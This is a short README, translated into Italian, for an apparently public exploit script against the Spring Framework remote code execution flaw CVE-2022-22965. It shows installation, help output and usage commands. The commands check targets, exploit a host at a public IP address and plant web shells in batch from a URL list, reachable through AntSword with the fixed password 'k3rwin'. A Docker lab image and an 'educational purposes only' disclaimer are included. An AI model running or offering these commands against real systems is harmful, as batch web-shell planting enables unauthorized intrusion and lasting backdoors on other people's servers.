
Vulnerabilità RCE del framework Spring CVE-2022-22965
Interessati: framework Spring e derivati con JDK>=9
Lo script è solo per scopi didattici, ogni uso improprio è sotto la responsabilità dell'utente
pip3 install -r requirements.txt
$ python3 spring-core-rce.py -h
.----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---. .----..----.
{ {__-`| } }}} }}_}{ || \{ || |--' ___ | }`-'/ {-. \} }}_}} |__} ___ } }}_}| }`-'} |__}
.-._} }| |-' | } \ | }| }\ {| }-`}{___}| },-.\ '-} /| } \ } '__}{___}| } \ | },-.} '__}
`----' `-' `-'-' `-'`-' `-'`----' `----' `---' `-'-' `----' `-'-' `----'`----'
Spring framework Core RCE
By:K3rwin
usage: spring-core-rce.py [-h] [-u URL] [-s SYSTEM] [-r FILE]
Spring framework Core 0day RCE 帮助指南
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 指定url
-s SYSTEM, --system SYSTEM
指定目标主机操作系统,默认linux,参数为win/linux
-r FILE, --file FILE 指定url文件,批量写马
Rilevamento senza danni
-u,--url oppure usa -f,--file per rilevamento batch
-c,--check, parametro per un servizio HTTP auto-ospitato, puoi usare
python3 -m http.server 80per avviare rapidamente un server webUtilizzato principalmente in reti interne e quando è richiesto un rilevamento senza danni della vulnerabilità
python3 spring-core-rce.py -u "http://172.26.155.18:8080/" --check "http://172.26.155.18"

Usa -u per specificare l'url, -s per specificare il sistema operativo. Parametri: linux o win, default linux
python3 spring-core-rce.py -u "http://1.117.155.217:8080/" -s "linux"


Usa -r per scrivere web shell in batch, collegati con AntSword, password: k3rwin
python3 spring-core-rce.py -r "urls.txt"


docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -d -p 8080:8080 --name spring-core-rce -it vulfocus/spring-core-rce-2022-03-29